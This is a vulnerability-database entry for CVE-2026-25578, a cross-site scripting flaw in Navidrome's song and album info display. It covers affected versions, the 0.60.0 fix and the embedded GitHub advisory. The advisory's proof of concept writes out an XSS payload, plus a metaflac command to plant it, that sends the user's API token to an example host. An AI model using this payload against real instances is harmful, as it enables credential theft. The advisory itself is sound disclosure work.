CVE-2026-25578: Github.com/navidrome/navidrome Cross-Site Scripting Vulnerability
MODERATECVE-2026-25578 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)) affecting Github.com/navidrome/navidrome libraries in the Go ecosystem. The issue involves navidrome has xss via comment from song metadata. Remediation is available by upgrading affected packages to version 0.60.0.
CVE-2026-25578 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).
How to Fix CVE-2026-25578
To remediate this vulnerability, upgrade all affected Github.com/navidrome/navidrome dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/navidrome/navidrome to 0.60.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/navidrome/navidrome
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-25578, inspect your project dependencies for Github.com/navidrome/navidrome:
inspect dependencies for github.com/navidrome/navidrome
Analyze the terminal output to locate any version of Github.com/navidrome/navidrome in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.60.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. In Github.com/navidrome/navidrome, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-25578 Affected Github.com/navidrome/navidrome Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/navidrome/navidrome
|
Go |
< 0.60.0
|
0.60.0
|
References
Frequently Asked Questions
What is CVE-2026-25578?
Which Github.com/navidrome/navidrome versions are affected?
What version fixes CVE-2026-25578?
Is github.com/navidrome/navidrome affected?
What is the CVSS score of CVE-2026-25578?
What CWE is associated with CVE-2026-25578?
How can I check Go dependencies for CVE-2026-25578?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rh3r-8pxm-hg4w",
"modified" : "2026-02-05T00:37:01Z",
"published" : "2026-02-04T00:12:20Z",
"aliases" : [ "CVE-2026-25578" ],
"summary" : "Navidrome has XSS via comment from song metadata",
"details" : "### Summary\n\nAn XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.\n\nAn attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability.\n\n### Details\n\nThe frontend is using React. In various places, the code uses the `dangerouslySetInnerHTML` escape hatch to set the content of an HTML element.\n\nIn some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.\n\nIn `MultiLineTextField` component, the input is split into lines and rendered through the `dangerouslySetInnerHTML` property. \n\n```js\n<div\n data-testid={`${source}.${idx}`}\n key={md5(line + idx)}\n dangerouslySetInnerHTML={{ __html: line }}\n/>\n```\n\nThis component is then used in the `SongInfo` and `AlbumInfo` components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS `COMMENT` comment of a FLAC file.\n\nBy crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.\n\nAdditionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token.\n\n### PoC\n\n1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard:\n\n```js\n<img src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)\" />\n```\n\nor use `metaflac`:\n\n```shell\necho '<img src=x onerror=\"fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)\" />' | metaflac --set-tag=comment=<(cat) file.flac\n```\n\n2. Add the song to Navidrome\n3. Enter the \"Songs\" or one of the albums page, click the \"kebab menu\" and then \"Get Info\"\n\nIn this payload, a broken image can be seen in the info dialog.\n\n<img width=\"996\" height=\"660\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1467cdff-17b2-4dc6-9fb5-0a83c021ca04\" />\n\nIn the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen.\n\n<img width=\"410\" height=\"34\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3f668797-63a6-4355-ae57-e95bde444143\" />\n\n\n### Impact\n\nThe vulnerability affects users of the Navidrome UI with songs from untrusted sources.\n\n### Mitigations\n\n- Users of Navidrome should configure a strict [[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult\n- Users of Navidrome should not index songs from untrusted sources without first vetting their metadata",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/navidrome/navidrome"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.60.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/navidrome/navidrome/security/advisories/GHSA-rh3r-8pxm-hg4w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25578"
}, {
"type" : "WEB",
"url" : "https://github.com/navidrome/navidrome/commit/d7ec7355c9036d5be659d6ac555c334bb5848ba6"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/navidrome/navidrome"
}, {
"type" : "WEB",
"url" : "https://github.com/navidrome/navidrome/releases/tag/v0.60.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79", "CWE-80" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-04T00:12:20Z",
"nvd_published_at" : "2026-02-04T22:16:01Z"
}
}